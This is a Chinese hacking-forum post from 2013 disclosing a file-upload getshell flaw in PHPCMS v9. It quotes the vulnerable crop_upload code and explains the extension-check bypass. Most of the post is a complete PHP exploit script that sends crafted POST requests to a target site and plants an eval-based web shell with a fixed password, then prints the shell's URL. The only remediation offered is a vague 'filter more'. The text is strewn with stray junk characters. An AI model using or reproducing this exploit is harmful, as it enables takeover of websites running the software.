找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2186|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行1 p- \4 J4 F7 d1 [4 {
' E% A% `! d/ U7 J
简要描述:
7 J+ M" R, f5 {: q) a1 m& P2 H$ r$ d7 K
phpcms v9 getshell (apache)
4 H2 a& O1 _! f' k# o: ~# w$ J详细说明:2 m2 U, ]' k& n
0 j, I3 y9 p7 `, O$ y
漏洞文件:phpcms\modules\attachment\attachments.php
" J+ M& z7 c3 a6 n5 J9 t$ m) {3 Q% I
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } / N& I1 l3 b; Q5 d: l2 h' I
后缀检测:phpcms\modules\attachment\functions\global.func.php/ r4 p( u9 B& L; s# v2 O7 u
0 ~: E: m% u0 j: K0 K; @/ [7 C

0 L; N- C) L8 G# g8 x& ~; |4 T3 Z* ^6 k2 n$ ?0 S
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  " `. O3 c  m# {* z9 g4 a

) ]6 n% y; ^+ Z7 Z! I) E关键函数:5 Q7 [+ V6 ]$ h: F' D6 f- v  d
6 d5 y5 K$ T4 q  Y) z. ?

7 l+ A6 E' j: ^: K7 C$ U7 k( k+ N4 N6 ?  Y" v* w# r9 ?
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
6 H* f1 O) t) D: T
) B4 W" c* @# i$ i8 c  V  Fileext函数是对文件后缀名的提取。1 S: O* ^% B0 ?. \2 N- e. S
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
. u3 d% i! L" E经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。  B; Q7 P2 F  N/ {7 r6 ?" k# M
我们回到public function crop_upload() 函数中/ B6 p9 J0 H) ?0 ?0 A; ^
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();! ?4 N( |$ p" {! ]. K  t& d' z; K
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
% e6 u: B, z; B( N; {9 _这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。7 x' F1 y3 i5 W; [9 d
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。4 j: c0 T) S* ^1 p
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
" M' z6 R. ]) ?. t, U7 V- F看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
. B2 Y: y8 t. v1 t9 _漏洞证明:
$ {2 E- I! J% G* N& E0 V8 \9 V5 Q
7 O3 n8 q* B6 X" y7 }exp:
: I* _( ?$ }0 W5 D, }+ e' L3 _4 e5 j/ \7 z. Z5 a  B. |) w9 P
<?php
( a! r4 O/ E4 e% x2 _( j( z8 L' perror_reporting(E_ERROR);
7 j, C  }& h7 B  E- A2 Cset_time_limit(0);
# T6 R7 u6 I' D. _$pass="ln";
1 ?% s, Z' }. l; U4 z( o/ Pprint_r('0 d2 C; o" b  Z) k( k' e
+---------------------------------------------------------------------------+
' W2 a9 p* V& \% r- k- TPHPCms V9 GETSHELL 0DAY , M; f  L2 y, {( |# {7 E. [7 V
code by L.N.
- U3 \' }" J, n: v
( U( Z8 G4 m# Y1 ~9 m8 papache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
5 d$ b% s" r& E4 k# k. r! f. H" a+---------------------------------------------------------------------------+
' S9 U. e5 B7 J5 c. C- y  U');6 @  _6 D; I7 X* I6 B
if ($argc < 2) {
% k' S7 ~6 e" d- M' d) h9 H6 Yprint_r('. o7 @4 m9 [* w4 V' e5 v% K9 V
+---------------------------------------------------------------------------+
7 I$ O! B' ^6 H) ]5 `. ?Usage: php '.$argv[0].' url path
) T& P" B! j/ \, e+ ?. s  s9 g- ?7 p  q
5 |8 e5 t' g# UExample:' D* O- f- K$ [( ^* E8 F; c
1.php '.$argv[0].' lanu.sinaapp.com0 X" ~- O1 w7 b" m/ m
2.php '.$argv[0].' lanu.sinaapp.com /phpcms0 A! x0 |4 r/ a' s- ~
+---------------------------------------------------------------------------+
$ M3 Z& K7 v1 D# i( z5 T. j+ i');7 t8 n0 c# t5 E- X
exit;7 |) J7 G0 W( S7 S
}9 t& J8 F- u+ ~/ K
+ {1 P; e+ S, [) y: ^+ t: r: I; P
$url = $argv[1];
- p$ s6 z6 \% \! B5 `! l( J4 ]$path = $argv[2];
' Y5 E4 D5 I4 @. l$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';0 s* F' j2 Z0 ]6 E3 \8 z
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
. j" @3 X& E8 b9 `( Y5 C" H8 }' Mif($ret=Create_dir($url,$path))6 \+ S7 j* |1 B& P5 f
{# ~2 A4 U& {7 l. E5 t2 M1 O/ S  X# _4 O
//echo $ret;! J3 [4 e6 o: p
$pattern = "|Server:[^,]+?|U";
% W1 B6 J0 B$ Y7 R. x' Wpreg_match_all($pattern, $ret, $matches);2 X8 K3 t; a& P7 d: {' Q5 ]4 x7 W
if($matches[0][0])( y, U% l" M' E4 {6 x
{
" W: w: N0 n' B8 S; I1 M" N& i6 x3 Pif(strpos($matches[0][0],'Apache') == false)1 F9 [, \' d3 Y& b9 k. D0 P
{
/ g7 @! O* R0 r" h5 H7 ^echo "\n亲!此网站不是apache的网站。\n";exit;9 j, m) h8 Y" Z
}2 {0 O) |6 s, H
}9 _  h1 Q6 a" C. X" a7 L
$ret = GetShell($url,$phpshell,$path,$file);/ u: l/ ~6 G# P8 g
$pattern = "|http:\/\/[^,]+?\.,?|U";: Z, W6 L2 G* S+ V) L8 F9 F& o
preg_match_all($pattern, $ret, $matches);
$ P) b& W7 b0 c1 N. o: _, y/ ^, pif($matches[0][0])3 c% [0 g3 f& L) g  o' u
{; [  ^( J" t& c# A, W) U
echo "\n".'密码为: '.$pass."\n";
! [7 Q& x8 |0 w+ d% N1 Zecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
7 ]7 V% h. o( d4 g$ `5 Z, T$ d0 ]( `}
9 h# ^3 [. h! \+ {8 M, g0 R& C# Nelse
! \' ^3 @/ }, J: I1 p8 X4 W{( n# k/ ?6 }7 F$ R
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
+ V+ g, U3 i' N. |! {9 Y& U8 b$ upreg_match_all($pattern, $ret, $matches);0 J; ~  S3 r) u3 v  m
if($matches[0][0])
4 k+ ^, s% p, U& x{
4 A  z2 _3 [, S- b: L: ^" {echo "\n".'密码为: '.$pass."\n";
8 N/ ~1 E0 S) q* g2 ], @  Jecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
3 |. p& }% \" P* a9 j}
0 A5 M7 @1 C7 Y2 ]# v3 welse
% n2 }3 o  Y; S" q. ~: p' x( Q2 G{
9 p/ D6 `. o3 ?) \$ u; \( D2 iecho "\r\n没得到!\n";exit;& f/ z) ]9 l) \8 H2 K4 W+ e; L6 j/ t6 K
}
# b! z7 X4 S# f, V/ I) G; [}
4 b; [+ T" Z) B( d3 M}1 Q+ Q3 I% f( }$ P1 D/ k6 h
6 O; b+ J- n+ Q1 T1 U: X% Y7 V
function GetShell($url,$shell,$path,$js): |3 o1 R& X4 _5 W7 C' t
{7 H1 W% D9 x3 f
$content =$shell;; u+ @& E8 R5 w7 ^0 @- f
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";4 F% R7 U  G$ L. O. t6 N
$data .= "Host: ".$url."\r\n";
1 j( g7 r, w' {$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";5 Z+ @) f- {; ?! v
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
5 W; K7 j0 _, |! ]$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
: i# u/ k  j6 s( h( Y$data .= "Connection: close\r\n";
/ d. ^' J1 C5 v$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
5 }( }7 @1 P/ m8 W$data .= $content."\r\n";+ n( M/ n5 j- s
$ock=fsockopen($url,80);
% A$ h' O# y  h8 cif (!$ock)! A# n1 {, W5 t4 T2 ?" p
{( a6 L6 f" K' v0 C6 F
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;! I) l" j% B' h, @$ L
}5 o8 D  W- Q; B
else, W, ?6 ?2 N* U, ^- `  y$ k
{
. }. x! \! K1 bfwrite($ock,$data);( }4 A5 J  J) b- M( ~/ Q
$resp = '';
5 m. E( s  h2 H% _1 R  zwhile (!feof($ock))
6 u" P2 z( G8 G6 K{: W$ T8 _. n, t0 s3 T* t
$resp.=fread($ock, 1024);
) @, e  q" D0 v/ T}
8 h# j+ ^: E4 u6 rreturn $resp;7 U0 V* l! z6 }- y  W8 ?. K
}
; V. M0 N6 v6 ~: J2 i}" z; j7 A9 Q: [1 E2 r9 [. n: ~$ P

, |+ T$ R% T+ C1 pfunction Create_dir($url,$path='')
& T# j2 V, G; y0 ]! t6 P, v& }6 _' [{  O% V( I) e- T/ L
$content ='I love you';
2 ]3 @7 m" a8 a) j0 Q$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
: j5 _+ Z; J5 X9 @% u$data .= "Host: ".$url."\r\n";1 t9 H5 j4 I( C2 r4 n  S- A
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";& r& n4 n/ g" y+ w# `& S" {8 S
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";5 O9 g2 Q# N( ?0 Q$ T
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";! ^- m1 J+ v8 r' [; K, a, Q' u
$data .= "Connection: close\r\n";
' }, p* V5 u4 K4 V8 E$data .= "Content-Length: ".strlen($content)."\r\n\r\n";9 b1 W' N* I  @& o) }) ^- j# p
$data .= $content."\r\n";
# u5 D  i: o  n9 O! ?1 k9 D$ock=fsockopen($url,80);
, k% x+ G4 H  P& I) K) l+ Kif (!$ock)4 h/ @8 k3 i/ ?  j: F
{& ?1 O( [0 M5 K/ v& ~5 n
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;7 W7 l8 ^5 [- C' |
}
5 M* \' V# e2 ~4 afwrite($ock,$data);
8 J  B+ G1 X8 I( h4 |. N. U$resp = '';
! m8 u7 ~0 m, S# y5 O0 H* Lwhile (!feof($ock)). t" n4 r; ]( C. Q  k  h9 @# s& G- @
{' T' X% R( F2 z' U" s( o
$resp.=fread($ock, 1024);
  X8 x" j2 J3 W}
: y  n6 {+ ?3 P* P# M0 N" ]8 n, qreturn $resp;
2 g5 ^9 x. _) A( Q" `, i}- Z2 t. R8 E7 P, x! S0 r* t
?>
5 [6 b. I( ~/ A: z& z $ t. n% U- G  \7 v
修复方案:
" `& C1 J' `6 g" \/ P, l" e% X# x) o' A; E3 s( k
过滤过滤再过滤' U; d7 G3 c! y1 ]' @
8 @7 V2 B6 Y3 ?6 K# H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表